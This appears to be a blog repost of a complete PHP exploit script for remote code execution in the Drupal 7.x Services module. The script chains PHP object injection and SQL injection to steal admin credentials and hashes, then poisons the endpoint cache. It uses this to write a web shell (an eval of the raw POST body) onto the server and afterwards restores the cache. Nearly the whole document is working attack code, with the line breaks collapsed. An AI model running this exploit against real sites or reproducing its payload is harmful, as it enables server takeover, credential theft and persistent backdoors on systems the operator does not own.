RCE Drupal 7.x - Module Services ( Web Application Exploit )
# Exploit Title: Drupal 7.x Services Module Remote Code Execution# Vendor Homepage: https://www.drupal.org/project/services# Exploit Author: Charles FOL# Contact: https://twitter.com/ambionics # Website: https://www.ambionics.io/blog/drupal-services-module-rce#!/usr/bin/php<?php# Drupal Services Module Remote Code Execution Exploit# https://www.ambionics.io/blog/drupal-services-module-rce# cf## Three stages:# 1. Use the SQL Injection to get the contents of the cache for currentendpoint# along with admin credentials and hash# 2. Alter the cache to allow us to write a file and do so# 3. Restore the cache# # Initializationerror_reporting(E_ALL);define('QID', 'anything');define('TYPE_PHP', 'application/vnd.php.serialized');define('TYPE_JSON', 'application/json');define('CONTROLLER', 'user');define('ACTION', 'login');$url = 'http://vmweb.lan/drupal-7.54';$endpoint_path = '/rest_endpoint';$endpoint = 'rest_endpoint';$file = [ 'filename' => 'dixuSOspsOUU.php', 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'];$browser = new Browser($url . $endpoint_path);# Stage 1: SQL Injectionclass DatabaseCondition{ protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } }}class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled byus. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); }}$cache_id = "services:$endpoint:resources";$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';# Take first user but with a custom password# Store the original password hash in signature_format, and endpoint cache# in signature$query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0";$query = new SelectQueryExtender($query);$data = ['username' => $query, 'password' => 'ouvreboite'];$data = serialize($data);$json = $browser->post(TYPE_PHP, $data);# If this worked, the rest will as wellif(!isset($json->user)){ print_r($json); e("Failed to login with fake password");}# Store session and user data$session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token];store('session', $session);$user = $json->user;# Unserialize the cached value# Note: Drupal websites admins, this is your opportunity to fight back :)$cache = unserialize($user->signature);# Reassign fields$user->pass = $user->signature_format;unset($user->signature);unset($user->signature_format);store('user', $user);if($cache === false){ e("Unable to obtains endpoint's cache value");}x("Cache contains " . sizeof($cache) . " entries");# Stage 2: Change endpoint's behaviour to write a shellclass DrupalCacheArray{ # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); }}class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry;}cache_poison($endpoint, $cache);# Write the file$json = (array) $browser->post(TYPE_JSON, json_encode($file));# Stage 3: Restore endpoint's behaviourcache_reset($endpoint, $cache);if(!(isset($json[0]) && $json[0] === strlen($file['data']))){ e("Failed to write file.");}$file_url = $url . '/' . $file['filename'];x("File written: $file_url");# HTTP Browserclass Browser{ private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); }}# Cachefunction cache_poison($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr);}function cache_reset($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr);}function cache_edit($tr){ global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data);}# Utilsfunction x($message){ print("$message\n");}function e($message){ x($message); exit(1);}function store($name, $data){ $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename");}
RCE Drupal 7.x - Module Services ( Web Application Exploit )
Reviewed by Unknown
on
12:11 PM
Rating:
No comments: